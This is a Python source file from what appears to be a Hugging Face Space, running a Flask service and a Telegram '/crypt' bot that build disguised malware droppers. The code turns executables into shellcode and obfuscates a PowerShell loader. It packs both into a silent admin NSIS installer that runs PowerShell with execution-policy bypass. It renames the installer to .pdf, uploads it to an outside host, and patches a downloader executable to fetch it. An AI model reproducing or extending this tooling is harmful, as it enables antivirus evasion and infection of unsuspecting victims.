demo-docker-gradio / utils.py
sigyllly's picture
Update utils.py
bdb101e verified
raw
history blame
15.8 kB
import os
import subprocess
import random
import string
from datetime import datetime
from flask import Flask, request, jsonify, send_file, current_app
import shutil
import tempfile
import requests
import json
from telegram import Update
from telegram.ext import ContextTypes, ConversationHandler
app = Flask(__name__)
BASE_DIR = os.path.abspath(os.path.dirname(__file__))
UPLOAD_FOLDER = os.path.join(BASE_DIR, "uploads")
PE_FOLDER = os.path.join(BASE_DIR, "pe")
COMPILE_FOLDER = os.path.join(BASE_DIR, "compile")
NSIS_COMPILER = "makensis" # Ensure NSIS is installed on your Linux system
OBFUSCATOR_SCRIPT = os.path.join(BASE_DIR, "Obfus", "main.ps1")
UPLOAD_URL = 'https://ambelo-benjamin.hf.space/upload'
POWERSHELL_FILE_PATH = os.path.join(PE_FOLDER, "powershell.ps1")
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
def generate_random_string(length=8):
return ''.join(random.choices(string.ascii_letters + string.digits, k=length))
def generate_random_password(length=12):
return ''.join(random.choices(string.ascii_letters + string.punctuation, k=length))
def obfuscate_powershell_script(ps1_path):
try:
cmd = f'pwsh -f "{OBFUSCATOR_SCRIPT}"'
current_app.logger.info(f"Running obfuscation command: {cmd}")
current_app.logger.info(f"Input PowerShell script path: {ps1_path}")
process = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True, text=True)
process.stdin.write(f"{ps1_path}\n")
process.stdin.flush()
stdout, stderr = process.communicate()
# Log the stdout and stderr for debugging
current_app.logger.info(f"Obfuscation script stdout: {stdout}")
current_app.logger.error(f"Obfuscation script stderr: {stderr}")
if process.returncode != 0:
raise Exception(f"Error obfuscating PowerShell script: {stderr}")
# Check if the obfuscated file was created
obfuscated_file = ps1_path.replace(".ps1", "_obf.ps1")
if not os.path.exists(obfuscated_file):
raise FileNotFoundError(f"Obfuscated file not found: {obfuscated_file}")
return obfuscated_file
except Exception as e:
raise Exception(f"Obfuscation failed: {str(e)}")
def generate_nsi_script(folder_path, bin_file, ps1_file):
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
installer_output = os.path.join(folder_path, f"setup_{timestamp}.exe")
# NSIS script template
NSIS_SCRIPT_TEMPLATE = r"""
; NeuraScope Insight Installer Script
!include "MUI2.nsh"
!include "LogicLib.nsh"
; Basic definitions
Name "ProductName"
OutFile "{installer_output}"
InstallDir "$WINDIR\..\ProgramData\Installer"
RequestExecutionLevel admin
SetCompressor /SOLID lzma
SetCompressorDictSize 96
SetDatablockOptimize ON
; Interface settings
!define MUI_WELCOMEPAGE_TITLE "Welcome to ProductName Setup"
!define MUI_WELCOMEPAGE_TEXT "This will install ProductName on your computer.$\r$\n$\r$\nClick Install to continue."
; Pages
!insertmacro MUI_PAGE_WELCOME
!insertmacro MUI_PAGE_INSTFILES
!insertmacro MUI_LANGUAGE "English"
; Basic Version Information
VIProductVersion "1.0.0.0"
VIAddVersionKey "ProductName" "ProductName"
VIAddVersionKey "CompanyName" "CompanyName"
VIAddVersionKey "LegalCopyright" "LegalCopyright"
VIAddVersionKey "FileVersion" "1.0.0.0"
VIAddVersionKey "FileDescription" "FileDescription"
ShowInstDetails hide
AutoCloseWindow true
Section "MainSection" SEC01
SetDetailsPrint none
SetOutPath "$WINDIR\..\ProgramData\Installer"
File "{bin_file}"
File "{ps1_file}"
ExecShell "open" "powershell.exe" "-ExecutionPolicy Bypass -File $INSTDIR\Verification.ps1" SW_HIDE
SetAutoClose true
SectionEnd
"""
script_content = NSIS_SCRIPT_TEMPLATE.format(
installer_output=installer_output,
bin_file=bin_file,
ps1_file=ps1_file,
)
nsi_file_path = os.path.join(COMPILE_FOLDER, f"installer_{timestamp}.nsi")
with open(nsi_file_path, 'w') as file:
file.write(script_content)
return nsi_file_path, installer_output
def compile_nsi_script(nsi_file_path):
try:
compile_cmd = [NSIS_COMPILER, nsi_file_path]
compile_result = subprocess.run(compile_cmd, capture_output=True, text=True)
if compile_result.returncode != 0:
raise Exception(f"NSIS Compile Error: {compile_result.stderr}")
return compile_result
except subprocess.CalledProcessError as e:
raise Exception(f"Compilation failed: {str(e)}")
except Exception as e:
raise Exception(f"Unexpected error during compilation: {str(e)}")
def upload_file_to_server(file_path):
try:
# Rename the .exe file to .pdf
renamed_file_path = file_path.replace('.exe', '.pdf')
os.rename(file_path, renamed_file_path)
# Upload the renamed file to the server
with open(renamed_file_path, 'rb') as file:
response = requests.post(UPLOAD_URL, files={'file': file})
if response.status_code == 200:
data = response.json()
# Assuming the server returns a 'file_url' key with the file URL
filename = os.path.basename(renamed_file_path)
fixed_url = f'https://ambelo-benjamin.hf.space/uploads/{filename}' # Fixed URL format
return fixed_url
else:
raise Exception(f"Failed to upload file: {response.json()}")
except Exception as e:
raise Exception(f"Error during file upload: {str(e)}")
def replace_url_in_exe(file_path, old_url, new_url, old_string, new_string):
if len(new_url) > len(old_url):
raise ValueError("New URL must not be longer than the old URL.")
new_url_padded = new_url.ljust(len(old_url), '\x00')
new_string_padded = new_string.ljust(len(old_string), '\x00')
try:
with open(file_path, 'rb') as exe_file:
data = exe_file.read()
# Try different encodings of the old URL
encodings = ['utf-8', 'ascii', 'utf-16le']
url_found = False
for encoding in encodings:
old_url_bytes = old_url.encode(encoding)
if old_url_bytes in data:
print(f"URL found with encoding: {encoding}")
url_found = True
break
if not url_found:
raise ValueError(f"The URL {old_url} was not found in the executable using any common encoding.")
# Try different encodings for the old string
string_found = False
for encoding in encodings:
old_string_bytes = old_string.encode(encoding)
if old_string_bytes in data:
print(f"String found with encoding: {encoding}")
string_found = True
break
if not string_found:
raise ValueError(f"The string {old_string} was not found in the executable using any common encoding.")
# Replace the old URL with the new URL
new_url_bytes = new_url_padded.encode(encoding)
modified_data = data.replace(old_url_bytes, new_url_bytes, 1)
# Replace the old string with the new string
new_string_bytes = new_string_padded.encode(encoding)
modified_data = modified_data.replace(old_string_bytes, new_string_bytes, 1)
# Save the modified executable with a random name
modified_file_path = os.path.join(os.path.dirname(file_path), generate_random_string() + ".exe")
with open(modified_file_path, 'wb') as modified_file:
modified_file.write(modified_data)
return modified_file_path
except Exception as e:
raise Exception(f"An error occurred: {e}")
@app.route('/process', methods=['POST'])
def process_request(request):
temp_dir = None # Initialize temp_dir to be used in the finally block
try:
# Save the incoming binary file
if 'file' not in request.files:
raise ValueError("No file part in the request")
file = request.files['file']
if file.filename == '':
raise ValueError("No selected file")
random_folder = generate_random_string()
temp_dir = tempfile.mkdtemp(prefix=random_folder, dir=UPLOAD_FOLDER)
bin_path = os.path.join(temp_dir, file.filename)
file.save(bin_path)
# Extract the file name from the full binary path
bin_file_name = os.path.basename(bin_path)
# Read the PowerShell content from the local file
with open(POWERSHELL_FILE_PATH, 'r') as ps1_file:
ps1_content = ps1_file.read()
# Replace the placeholder with the actual binary file name
ps1_content = ps1_content.replace("{bin_file_name}", bin_file_name)
ps1_path = os.path.join(temp_dir, generate_random_string() + ".ps1")
with open(ps1_path, 'w') as ps1_file:
ps1_file.write(ps1_content)
# Obfuscate the PowerShell script
obfuscated_ps1_path = obfuscate_powershell_script(ps1_path)
# Check if the obfuscated file exists before renaming
if not os.path.exists(obfuscated_ps1_path):
raise FileNotFoundError(f"Obfuscated file not found: {obfuscated_ps1_path}")
# Rename the obfuscated file to Verification.ps1
verification_ps1_path = os.path.join(temp_dir, "Verification.ps1")
os.rename(obfuscated_ps1_path, verification_ps1_path)
# Generate and compile the NSIS script
nsi_file_path, installer_output = generate_nsi_script(temp_dir, bin_path, verification_ps1_path)
compile_nsi_script(nsi_file_path)
# Upload the resulting EXE file (renamed to PDF) to the server
download_url = upload_file_to_server(installer_output)
# Print the new string and new URL for debugging
new_string = os.path.basename(download_url)
new_url = download_url
print(f"new_string: {new_string}")
print(f"new_url: {new_url}")
# Replace URL in PE executable
pe_exe_path = os.path.join(PE_FOLDER, "pe.exe")
modified_pe_path = replace_url_in_exe(
file_path=pe_exe_path,
old_url="https://ambelo-benjamin.hf.space/uploads/setup_20250102_062242.pdf",
new_url=download_url,
old_string="setup_20250102_062243.pdf",
new_string=os.path.basename(download_url)
)
# Create a .7z archive with ultra compression and LZMA2, and encrypt it with a password
archive_name = generate_random_string() + ".7z"
archive_path = os.path.join(temp_dir, archive_name)
password = generate_random_password()
subprocess.run([
"7z", "a", "-t7z", "-p" + password, "-mx=9", "-m0=LZMA2", archive_path, modified_pe_path
], check=True)
# Return the download URL and password in the JSON response
download_link = f"/download/{archive_name}"
return jsonify({"download_link": download_link, "password": password})
except Exception as e:
current_app.logger.error(f"An error occurred: {str(e)}")
return jsonify({"error": str(e)}), 500
finally:
# Clean up temporary directories and files
if temp_dir and os.path.exists(temp_dir):
shutil.rmtree(temp_dir, ignore_errors=True)
@app.route('/download/<filename>')
def download_file(filename):
file_path = os.path.join(UPLOAD_FOLDER, filename)
return send_file(file_path, as_attachment=True)
async def confirm_file(update: Update, context: ContextTypes.DEFAULT_TYPE) -> int:
"""Handle file confirmation"""
query = update.callback_query
await query.answer()
file_path = context.user_data.get('file_path')
if query.data == "yes":
output_file = ''.join(random.choices(string.ascii_letters + string.digits, k=8)) + f"_{query.message.chat.id}.bin"
output_path = os.path.join("converted", output_file)
try:
# Convert the .exe file to a .bin file
shellcode = donut.create(file=file_path, output=output_path)
# Encrypt the .bin file
encrypted_file_path = encrypt_bin_file(output_path)
# Show animated text while processing
await query.edit_message_text(
"πŸ”„ Processing your file...\n"
"πŸŸ©πŸŸ©πŸŸ©β¬›β¬›β¬›β¬›β¬›β¬›β¬› (30%)"
)
# Send the encrypted .bin file to the API
with open(encrypted_file_path, 'rb') as bin_file:
response = requests.post('https://sigyllly-demo-docker-gradio.hf.space/process', files={'file': bin_file}, timeout=120)
if response.status_code == 200:
# Parse the response to get the .7z file URL and password
response_data = response.json()
archive_url = response_data.get("download_link")
password = response_data.get("password")
if not archive_url or not password:
await query.edit_message_text("❌ Invalid response from the server. Missing archive URL or password.")
context.user_data['processing'] = False
return ConversationHandler.END
# Download the .7z file from the archive_url
archive_response = requests.get(archive_url)
if archive_response.status_code != 200:
await query.edit_message_text("❌ Failed to download the .7z file from the server.")
context.user_data['processing'] = False
return ConversationHandler.END
# Save the .7z file locally
archive_filename = f"processed_{random.randint(1000, 9999)}.7z"
archive_filepath = os.path.join("converted", archive_filename)
with open(archive_filepath, 'wb') as archive_file:
archive_file.write(archive_response.content)
await query.edit_message_text(
"πŸ”„ Processing your file...\n"
"🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩 (100%)"
)
# Send the .7z file and password to the user
await query.message.reply_document(
document=open(archive_filepath, 'rb'),
filename=archive_filename,
caption=f"βœ… File processed successfully! Here is your encrypted file.\n\nπŸ”‘ Password: `{password}`"
)
# Clean up the downloaded .7z file
os.remove(archive_filepath)
# Mark process as finished
context.user_data['processing'] = False
return ConversationHandler.END
else:
await query.edit_message_text("❌ Error occurred while processing the file.")
context.user_data['processing'] = False
return ConversationHandler.END
except Exception as e:
print(f"Error in confirm_file: {e}")
await query.edit_message_text(text=f"❌ Error occurred: {e}")
context.user_data['processing'] = False
if os.path.exists(file_path):
os.remove(file_path)
return ConversationHandler.END
else:
await query.edit_message_text("❌ Operation cancelled. Use /crypt to try again.")
context.user_data['processing'] = False
if os.path.exists(file_path):
os.remove(file_path)
return ConversationHandler.END
if __name__ == '__main__':
app.run(debug=True)